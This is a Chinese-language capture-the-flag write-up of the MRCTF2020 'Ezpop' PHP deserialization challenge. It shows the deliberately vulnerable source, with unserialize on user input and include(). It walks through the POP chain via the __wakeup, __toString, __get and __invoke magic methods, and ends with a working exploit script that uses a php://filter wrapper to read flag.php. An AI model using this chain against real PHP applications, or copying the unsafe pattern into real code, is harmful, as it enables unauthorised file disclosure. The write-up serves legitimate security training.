[MRCTF2020]Ezpop

点击查看代码
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 
反序列化构造pop链 代码审计一下 三个类
点击查看代码
class Modifier {
    protected  $var;
	}
class Show{
    public $source;
    public $str;
	}
class Test{
	public $p;
}
反向进行推导 Modifier类中有个append方法,这个方法里面有include($value),这一个文件包含。提示里面有flag.php,我们只要调用这个函数并给他传参flag.php就可以,这个函数怎么调用,这个类里面还有一个__invoke()函数 这个函数会把这个类中的保护变量$var传入,那只要调用__invoke()函数就可以了。

php中的__invoke ()魔术方法作用是直接调用对象名当方法使用时,就调用的是__invoke ()方法。

那我们怎么调用这个_invoke()函数。
可以看到_Test()里面有一个_get()方法,这里面会将类里面的公共变量\(p,当函数调用,那我们只需要把赋值\)p为Modifier就好了。那我们怎么调用_get()魔术方法呢?

当访问类中的私有属性或者是不存在的属性,触发__get魔术方法
我们看到_tostring方法里面
public function __toString(){ return $this->str->source; }
如果我们里面this->str赋值为test类,test类里面又没有source,就会触发_get()方法
那我们怎么调用_tostring方法?
_wakeup()通过preg_match()将\(this->source做字符串比较,如果\)this->source是Show类,就调用了__toString()方法;
根据以上题目,当用get方法传一个pop参数后,会自动调用Show类的_wakeup()魔术方法。

结束

点击查看代码
<?php
class Modifier {
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$m = new Modifier();
$s = new Show();
$t = new Test();
$t->p = $m; //赋值Test类的对象$t下的属性p为Modifier类的对象$m,触发__invoke魔术方法
$s->str= $t;//赋值Show类的对象$s下的str数组的str键的值为 Test类的对象$t ,触发__get魔术方法。
$s->source = $s;//令 Show类的对象$s下的source属性值为此时上一步已经赋值过的$s对象,从而把对象当作字符串调用触发。__tostring魔术方法
echo urlencode((serialize($s)));
posted @ 2023-04-07 19:32  Dr0se  阅读(2)  评论(0)    收藏  举报